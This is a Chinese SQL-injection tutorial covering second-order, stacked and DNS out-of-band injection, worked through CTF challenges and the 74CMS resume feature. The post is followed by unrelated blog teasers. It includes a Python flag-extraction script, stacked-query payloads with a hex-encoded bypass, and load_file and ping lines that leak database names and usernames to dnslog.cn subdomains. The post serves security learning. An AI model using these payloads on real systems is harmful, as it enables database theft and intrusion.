小迪安全30WEB 攻防-通用漏洞SQL 注入CTF二次堆叠DNS 带外

#知识点: 

1、数据库堆叠注入 

根据数据库类型决定是否支持多条语句执行 

2、数据库二次注入 

应用功能逻辑涉及上导致的先写入后组合的注入 

3、数据库 Dnslog 注入 

解决不回显(反向连接),SQL 注入,命令执行,SSRF 等 

4、黑盒模式分析以上 

二次注入:插入后调用显示操作符合 

堆叠注入:判断注入后直接调多条执行 

DNS 注入:在注入上没太大利用价值,其他还行

 

 

 

#二次注入-74CMS&网鼎杯 2018Unfinish 

c0074ca66fb941b1b63c02dc068eb095.png

 比如:找回密码功能:

得到你的用户名(你找回谁的密码)

        进入用户名绕过,网站进入找回密码的验证阶段(网站记录知道你是谁了)

       接受获取你的用户名,修改密码update

 

但如果在注册用户名时,写了一个SQL注入的语句

        则当进行修改密码时,会对用户名进行调用

            即:update user set password=’xiaodi’ where username=’SQL注入代码’

        从而形成注入点

        

CTF-[网鼎杯 2018]Unfinish-黑盒 

先进入register.php页面

c7e9eb4fac124b10b53d60fbe5e448e6.png

 通过注册完账号后,进行账号登录,此时发现我们的用户名被调用了,这时就可以估计此注入点是二次注入

 

分析:

注册用户:添加insert

        Insert into user(email,username,password) value(‘3178151661245@qq.com’,’AT’,’123456’)

 

登录:用的email和password

进入用户中心:用用户名进行显示

Select username from user where email=’31781511245@qq.com’

那么此时我往username这个地方开始注册时就注入了SQL注入,那么此时显示出来的就是我SQL注入来的地方

9f8ded467511482ea4b53c1700698144.png

 我们这里使用.py进行制造payload

 

import requests

from bs4 import BeautifulSoup

import time 

 

 

url = 'http://d1e19434-4122-4e6e-9aa4-7e31af7022f4.node5.buuoj.cn:81/'

 

m = ''

for i in range(100):

    payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)  

    register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}

    login = {'email':'abc{}@qq.com'.format(i),'password':'123456'}

    req = requests.session()

    r1 = req.post(url+'register.php',data = register)

    r2 = req.post(url+'login.php', data = login)

    r3 = req.post(url+'index.php')

    html = r3.text

    soup = BeautifulSoup(html,'html.parser')

    UserName = soup.span.string.strip()

    if int(UserName) == 0:

        break

    m += chr(int(UserName))

    print(m)

    time.sleep(1)

 

2b6de753b4ee4d0aa27aa935baafcb69.png

 CMS-74CMS 个人会员中心-黑白盒 

黑盒:

对学校名称进行注入

3c6373282c654041898ab90d0e6fc427.png

 我们并没有填入学校地址,但输入了学校的名字,然后地址就会跟着学校名字一起出来,形成二次注入

xiaodi',address=user()#

即insert address value (‘xiaodi’,address=user#)

 

白盒:

根据修改内容抓包,发现对应函数save_resuma_education_edit中的SQL查询语句

ef16ae48b8434bbfa613f360bd2c5cea.png

 抓学校地址该网页的包,并进行查看其相关函数 make4_save

5fac07285c09476f90b17eb4234689cc.png

 发现有SQL语句——insert:会把修改的内容插入到数据库的相关位置

3f4d2ac2a4cd4fd68a33a92698a0fb25.png

065c0e2d6e66445bbaee7988c0538bc0.png 

 对其SQL语句进行监听

24eb177c1abc4f19b015ca16ca23d329.png

cf98e6c6440547aaab8a9f0636546ecd.png 

 #堆叠注入-数据库类型&强网杯 2019 随便注

 

根据数据库类型决定是否支持多条语句执行 这里与联合查询是有区别的;

如select * from news where id=1;create table xioadi like news;

支持堆叠数据库类型:MYSQL MSSQL Postgresql 等 

一般的,代码上和数据库上的堆叠操作权限是不一样的,如果代码上允许堆叠,那数据库上一定可以,如果代码上不行,数据库也可以进行堆叠

 

过滤规则,select是被过滤的,还有一些注入常用语句也被过滤了,此时可考虑堆叠注入

 

参考:https://www.cnblogs.com/Timesi/p/11426348.html

';show databases; 

';show tables; 

';show columns from `1919810931114514`; 

';select flag from `1919810931114514`; 

';SeT 

@a=0x73656c656374202a2066726f6d2060313931393831303933313131343531 

3460;prepare execsql from @a;execute execsql; 

 

 

#DNS 利用-平台介绍&SQL 注入&命令执行等 

DNS注入原理:让服务器自己去访问网页的地址,通过网络的参数去让对方进行执行,并回显到DNS上

 

基本只针对于MYSQL——load_file

 

1.平台 

http://www.dnslog.cn 

http://admin.dnslog.link 

http://ceye.io 

2.应用场景: 

解决不回显,反向连接,SQL 注入,命令执行,SSRF 等 

SQL 注入: 

select load_file(concat('\\\\',(select database()),'.7logee.dnslog.cn\\aa')); 

and (select load_file(concat('//',(select 

database()),'.69knl9.dnslog.cn/abc'))) 

命令执行: 

ping %USERNAME%.7logee.dnslog.cn 

接受的主机的username

089407d7f78149128322b9beb9f592b9.png

 

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/701398.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

创作纪念日:记录我的成长与收获

机缘 一开始是在我深入学习前端知识的Vue.js框架遇到了一个问题,怎么都解决不了,心烦意乱地来csdn上找解决方法。开心的是真被我找到了,真的很感恩,也意识到在这个平台上分享自己的经验是多么有意义的事情,可能随便的…

BRIA.AI开源最强AI一键抠图模型RMBG,超简上手体验

本文首发: AIWalker 欢迎关注AIWalker,近距离接触底层视觉与基础AI技术 近日,BRIA.AI团队于HuggingFace开源了一个基于ISNet背景移除模型RMBG-1.4,它可以有效对前景与背景进行分离。RMBG-1.4在精心构建的数据集上训练而来,该数据包…

C++指针变量的引用

C中的指针变量引用是指使用引用来访问指针所指向的内存地址中的值。这种技术可以简化对指针所指向的对象的访问,并提高代码的可读性。 要创建指针变量的引用,可以使用以下语法: int* ptr; // 声明一个指针变量 int*& ref ptr; // 创建…

ElasticSearch报错解决

最近在学习ES的一些东西,遇到了一些问题,整理一下,希望可以帮助到也在学习ES的小伙伴 1、问题1 报错场景: 单机启动多ES集群 报错信息: [2024-02-24T22:58:10,567][WARN ][o.e.t.RemoteClusterService] [cluster0no…

django rest framework 学习笔记-实战商城

01项目环境搭建_哔哩哔哩_bilibili 本博客借鉴至大佬的视频学习笔记 # 创建项目 django-admin startproject MyShop# 创建app E:\desktop\my_drf\MyShop>django-admin startapp goodsE:\desktop\my_drf\MyShop>django-admin startapp orderE:\desktop\my_drf\MyShop>…

代码随想录算法训练营day39 | 62.不同路径、63. 不同路径 II

62.不同路径 dp数组以及下标的含义:dp[i][j]代表到达第i行第j列有多少条不同的路径递推公式:dp[i][j] dp[i][j-1] dp[i-1][j]dp数组初始化:dp[0][:] 1 dp[:][0] 1遍历顺序:从前往后遍历举例推导dp数组: 按照这种…

springboot+vue项目基础开发(16)主页面布局

主页面代码,在view下面创建mainLayout.vue <script setup> import{Management,Promotion,UserFilled,User,Crop,EditPen,SwitchButton,CaretBottom } from @element-plus/icons-vue

【洛谷 P8706】[蓝桥杯 2020 省 AB1] 解码 题解(模拟+输入输出)

[蓝桥杯 2020 省 AB1] 解码 题目描述 小明有一串很长的英文字母&#xff0c;可能包含大写和小写。 在这串字母中&#xff0c;有很多连续的是重复的。小明想了一个办法将这串字母表达得更短&#xff1a;将连续的几个相同字母写成字母 出现次数的形式。 例如&#xff0c;连续…

《Docker极简教程》--Docker网络--Docker网络的配置和使用

一、Docker网络配置 1.1 单主机网络配置 创建自定义桥接网络 在Docker中&#xff0c;创建自定义桥接网络是一种常见的网络配置方式&#xff0c;特别适用于单主机环境&#xff0c;可以帮助容器相互通信并与外部网络进行通信。下面我将介绍如何在单主机上创建自定义桥接网络&…

C++ //练习 8.2 测试函数,调用参数为cin。

C Primer&#xff08;第5版&#xff09; 练习 8.2 练习 8.2 测试函数&#xff0c;调用参数为cin。 环境&#xff1a;Linux Ubuntu&#xff08;云服务器&#xff09; 工具&#xff1a;vim 代码块见练习8.1 /**************************************************************…

代码随想录|day 23

Day 23 一、回溯 二、代码 216. 组合总和 III - 力扣&#xff08;LeetCode&#xff09; class Solution { private:vector<int>path;vector<vector<int>>result;void backtracing(int sum,int k,int n,int startindex){//中止条件if(path.size()k){if(sum…

three.js第一个3D案例

在正式学习Three.js之前&#xff0c;先做一些必要的准备工作&#xff0c;具体说就是下载threejs官方文件包&#xff0c;threejs官方文件包提供了很多有用的学习资源。 threejs官方文件包所有版本&#xff1a;https://github.com/mrdoob/three.js/releases threejs文件资源目录…

桥接模式:解耦抽象与实现,实现灵活多变的扩展结构

文章目录 一、引言二、应用场景与技术背景三、模式定义与实现四、实例详解五、优缺点分析总结&#xff1a; 一、引言 ​ 桥接模式是一种结构型设计模式&#xff0c;它将抽象部分与它的实现部分分离&#xff0c;使它们可以独立变化。这种模式通过创建一个抽象层和实现层的结构&…

Android RecyclerView 如何展示自定义列表 Kotlin

Android RecyclerView 如何展示自定义列表 Kotlin 一、前提 有这么一个对象 class DeviceDemo (val name: String, val type: String, val address: String)要展示一个包含这个对象的列表 bluetoothDevices.add(DeviceDemo("bb 9800", "LE", "32:…

matlab实现汉明窗低通滤波器,汉宁窗带通滤波器,布莱克曼窗高通滤波器,矩形窗的带阻滤波器。

1 汉明窗低通滤波器 : 在Matlab中使用汉明窗设计低通滤波器可以通过fir1函数实现。汉明窗通常用于设计滤波器,可以提供更突出的频率特性。 下面是一个示例代码,演示如何在Matlab中使用汉明窗设计低通滤波器: % 定义滤波器参数 fs = 1000; % 采样频率 cutOffFreq = 100; …

如何解决无法npm下载electron依赖的

使用electron&#xff0c;安照官方例子&#xff0c;结果是失败的。原因是下载官网的二进制包失败&#xff0c;结果不能执行。 也用了npm的镜像&#xff1a;registry "https://registry.npmmirror.com/"&#xff0c;也不行。 后来网上折腾一段时间&#xff0c;看到…

Sublime Text4配置C#运行环境

这里写自定义目录标题 前言部署.NET环境Sublime Text4配置C#编译环境1. 下载插件 运行测试 前言 今天把家里的9年前的远古神机搬了出来&#xff0c;重装了个win7的精简版&#xff0c;本打算装个VScode测试一下是否能写C#代码&#xff0c;结果是可以的&#xff0c;但&#xff0…

Qt 设置隐式加载dll路径

在c++中DLL的加载方式有两种,显式加载和隐式加载。 隐式加载 在程序从开始运行时,就会按照系统中一定的搜索路径,寻找动态库,找到就自动加载它,才能成功运行程序,这些步骤,是系统自动完成的。 显示加载 我们对动态库的调用,是在代码中直接使用LoadLibrary,或其他加载函…

基于springboot+vue的大型商场应急预案管理系统(前后端分离)

博主主页&#xff1a;猫头鹰源码 博主简介&#xff1a;Java领域优质创作者、CSDN博客专家、阿里云专家博主、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战&#xff0c;欢迎高校老师\讲师\同行交流合作 ​主要内容&#xff1a;毕业设计(Javaweb项目|小程序|Pyt…

Flask基础学习3

参考视频&#xff1a;41-【实战】答案列表的渲染_哔哩哔哩_bilibili flask 实现发送短信功能 pip install flask-mail # 安装依赖 我这里用登录的网易邮箱获取的授权码&#xff08;登录QQ邮箱的授权码总是断开收不到邮件&#xff09;&#xff0c; # config # config mail MAI…